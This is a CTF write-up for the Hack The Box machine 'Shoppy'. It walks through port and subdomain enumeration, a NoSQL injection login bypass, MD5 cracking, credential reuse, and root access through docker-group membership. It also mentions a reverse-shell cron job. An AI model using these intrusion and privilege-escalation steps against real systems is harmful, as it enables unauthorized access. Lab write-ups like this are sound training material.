Shoppy Writeup
25 January 2023 #CTF #HTB #box #easy #linuxEnumeration
Babe wake up, a new nmap
version just released:
$ sudo nmap -n -p- -T4 -oN enum/fulltcp.nmap 10.10.11.180
[...]
22/tcp open ssh
80/tcp open http
9093/tcp open copycat
[...]
$ ports=$(awk -F/ '/^[[:digit:]]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -n -p $ports -sCV -oN enum/scripts-tcp.nmap 10.10.11.180
[...]
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 9e5e8351d99f89ea471a12eb81f922c0 (RSA)
| 256 5857eeeb0650037c8463d7a3415b1ad5 (ECDSA)
|_ 256 3e9d0a4290443860b3b62ce9bd9a6754 (ED25519)
80/tcp open http nginx 1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
|_http-server-header: nginx/1.23.1
9093/tcp open copycat?
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 200 OK
| Content-Type: text/plain; version=0.0.4; charset=utf-8
| Date: Tue, 08 Nov 2022 18:38:57 GMT
| HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
| TYPE go_gc_cycles_automatic_gc_cycles_total counter
| go_gc_cycles_automatic_gc_cycles_total 9
| HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
| TYPE go_gc_cycles_forced_gc_cycles_total counter
| go_gc_cycles_forced_gc_cycles_total 0
| HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
| TYPE go_gc_cycles_total_gc_cycles_total counter
| go_gc_cycles_total_gc_cycles_total 9
| HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
| TYPE go_gc_duration_seconds summary
| go_gc_duration_seconds{quantile="0"} 2.0258e-05
| go_gc_duration_seconds{quantile="0.25"} 7.5522e-05
|_ go_gc_dur
[...]
SSH
We can use the ssh banner to fingerprint the OS version. In our case, we learn that the box is running Debian Bullseye (11) and that the package was released in July 2022.
HTTP
We are redirected to http://shoppy.htb
so let's look for subdomains:
$ ffuf -u http://10.10.11.180 -H 'Host: FUZZ.shoppy.htb' -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -fs 169
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://10.10.11.180
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.shoppy.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 169
________________________________________________
mattermost [Status: 200, Size: 3122, Words: 141, Lines: 1, Duration: 147ms]
:: Progress: [100000/100000] :: Job [1/1] :: 417 req/sec :: Duration: [0:05:17] :: Errors: 0 ::
We found a mattermost
virtual host, which is a chat application. I couldn't find any default creds so we'll move on.
On shoppy.htb
we get a coming soon page:
No links on here, so let's do a bit of directory bruteforcing:
$ gobuster dir -u http://shoppy.htb/ -w /usr/share/SecLists/Discovery/Web-Content/raft-small-words.txt -o enum/root-shoppy.htb.dir
/js (Status: 301) [Size: 171] [--> /js/]
/css (Status: 301) [Size: 173] [--> /css/]
/images (Status: 301) [Size: 179] [--> /images/]
/admin (Status: 302) [Size: 28] [--> /login]
/login (Status: 200) [Size: 1074]
/assets (Status: 301) [Size: 179] [--> /assets/]
/. (Status: 301) [Size: 169] [--> /./]
/fonts (Status: 301) [Size: 177] [--> /fonts/]
/exports (Status: 301) [Size: 181] [--> /exports/]
There is a /login
page. Let's check it out:
NoSQL Injection
After some default credentials and a bunch of SQL injection payloads, nothing comes up.
From the looks of the 404 error page, we can probably guess this is a nodejs (express) app. There is a chance that it is using a NoSQL database so let's try NoSQL injection as well:
This is basically the equivalent of ' OR '1'='1
for SQL injections.
It worked since we get a cookie:
We can now login to the admin panel:
There is a /search-users
page:
We can enter a username (like 'admin') and it will export a json file:
Nice, there is what looks like a password hash (32 characters so most likely MD5).
However, this hash is not crackable (at least with rockyou.txt) so we'll reuse the NoSQLi payload from earlier to dump all users:
This time we get one additional user:
$ hashcat -m 0 6ebcea65320589ca4f2f1ce039975995 /usr/share/wordlists/rockyou.txt
[...]
6ebcea65320589ca4f2f1ce039975995:remembermethisway
[...]
Foothold
These creds don't work with ssh, but we can login to mattermost. Looking through the different channels, we can find ssh creds in a private channel:
$ ssh jaeger@shoppy.htb
jaeger@shoppy.htb's password:
[...]
jaeger@shoppy:~$ id
uid=1000(jaeger) gid=1000(jaeger) groups=1000(jaeger)
Privesc
Let's see if we can run sudo
:
jaeger@shoppy:~$ sudo -l
[sudo] password for jaeger:
Matching Defaults entries for jaeger on shoppy:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jaeger may run the following commands on shoppy:
(deploy) /home/deploy/password-manager
(very) Minimal Reverse Engineering
We can run this password-manager
executable as the 'deploy' user. It is a C++ binay.
Before going crazy and loading this file in ghidra let's run strings
on it:
jaeger@shoppy:/home/deploy$ strings -e b password-manager
Sample
We need the -e b
option to look for UTF-16 strings. Let's try this 'Sample' password:
jaeger@shoppy:/home/deploy$ sudo -u deploy /home/deploy/password-manager
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!
Great, we can now log in as the 'deploy' user:
jaeger@shoppy:/home/deploy$ su -l deploy
Password:
deploy@shoppy:~$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)
Abuse Docker Group
As we saw in the previous id
command, the 'deploy' user is in the 'docker' group, which is very dangerous.
We can create a container and mount the whole filesystem inside it, meaning we will be able to read and write any file on the host.
First we need an image to work with, as we can't just pull
one:
deploy@shoppy:~$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
alpine latest d7d3d98c851f 6 months ago 5.53MB
This alpine image will do. We'll run this image and mount /
of the host filesystem into /mnt
on the container:
deploy@shoppy:~$ docker run --rm -it -v /:/mnt alpine
/ # cat mnt/root/root.txt
22b94d26fc77cebf3d41eb7bbd7d4b41
If you want an actual shell on the host as root, you could create a cronjob that sends you a reverse shell, or modify /etc/passwd
or /etc/shadow
, countless posibilites here...
Key Takeaways
- NoSQLi is a thing
- docker group -> free root